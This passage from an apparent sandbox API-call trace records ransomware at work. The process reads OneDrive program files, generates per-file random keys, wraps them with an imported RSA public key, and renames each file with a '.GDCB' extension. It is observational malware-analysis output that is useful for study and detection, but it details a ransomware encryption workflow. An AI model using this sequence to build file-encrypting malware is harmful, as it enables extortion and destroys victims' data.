0x68e0000 [0199.200] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png.gdcb")) returned 1 [0199.342] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.344] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.344] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.346] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.346] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.347] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.349] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a7f8) returned 1 [0199.349] CryptGetKeyParam (in: hKey=0x508a7f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.349] CryptEncrypt (in: hKey=0x508a7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.349] GetLastError () returned 0x0 [0199.349] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.349] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.351] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a178) returned 1 [0199.351] CryptGetKeyParam (in: hKey=0x508a178, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.351] CryptEncrypt (in: hKey=0x508a178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.351] GetLastError () returned 0x0 [0199.352] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.353] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.354] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.355] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2480, lpOverlapped=0x0) returned 1 [0199.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2480, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.366] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png.gdcb")) returned 1 [0199.370] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0199.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.373] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.373] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0199.373] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0199.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.375] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.375] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0199.376] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0199.378] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a638) returned 1 [0199.378] CryptGetKeyParam (in: hKey=0x508a638, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.378] CryptEncrypt (in: hKey=0x508a638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.378] GetLastError () returned 0x0 [0199.378] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.378] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0199.380] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a1f8) returned 1 [0199.380] CryptGetKeyParam (in: hKey=0x508a1f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.380] CryptEncrypt (in: hKey=0x508a1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.380] GetLastError () returned 0x0 [0199.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.382] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.383] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.385] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1f70, lpOverlapped=0x0) returned 1 [0199.390] VirtualAlloc (lpAddress=0x0, dwSize=0x1f70, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.395] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png.gdcb")) returned 1 [0199.416] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.419] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.419] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.419] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0199.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.421] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.421] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.421] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.422] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.424] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a238) returned 1 [0199.424] CryptGetKeyParam (in: hKey=0x508a238, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.424] CryptEncrypt (in: hKey=0x508a238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.424] GetLastError () returned 0x0 [0199.424] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.424] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.426] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a1b8) returned 1 [0199.426] CryptGetKeyParam (in: hKey=0x508a1b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.426] CryptEncrypt (in: hKey=0x508a1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.426] GetLastError () returned 0x0 [0199.426] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.428] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.430] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.431] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x3b940, lpOverlapped=0x0) returned 1 [0199.441] VirtualAlloc (lpAddress=0x0, dwSize=0x3b940, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.458] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif.gdcb")) returned 1 [0199.499] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0199.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.501] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.502] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0199.502] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0199.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.503] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.503] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0199.504] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.506] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a278) returned 1 [0199.506] CryptGetKeyParam (in: hKey=0x508a278, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.506] CryptEncrypt (in: hKey=0x508a278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.506] GetLastError () returned 0x0 [0199.506] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.506] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.508] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a6b8) returned 1 [0199.508] CryptGetKeyParam (in: hKey=0x508a6b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.508] CryptEncrypt (in: hKey=0x508a6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.508] GetLastError () returned 0x0 [0199.508] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.510] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.511] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.512] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x6a0, lpOverlapped=0x0) returned 1 [0199.520] VirtualAlloc (lpAddress=0x0, dwSize=0x6a0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.527] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html.gdcb")) returned 1 [0199.541] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0199.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.545] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.545] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0199.545] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.545] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0199.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0199.547] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0199.547] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0199.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.547] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0199.550] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a2b8) returned 1 [0199.550] CryptGetKeyParam (in: hKey=0x508a2b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.550] CryptEncrypt (in: hKey=0x508a2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.550] GetLastError () returned 0x0 [0199.550] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0199.550] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.552] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a2f8) returned 1 [0199.552] CryptGetKeyParam (in: hKey=0x508a2f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.552] CryptEncrypt (in: hKey=0x508a2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.552] GetLastError () returned 0x0 [0199.552] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.552] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.557] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0xa6a2, lpOverlapped=0x0) returned 1 [0199.584] VirtualAlloc (lpAddress=0x0, dwSize=0xa6b0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0199.590] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt.gdcb")) returned 1 [0199.697] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 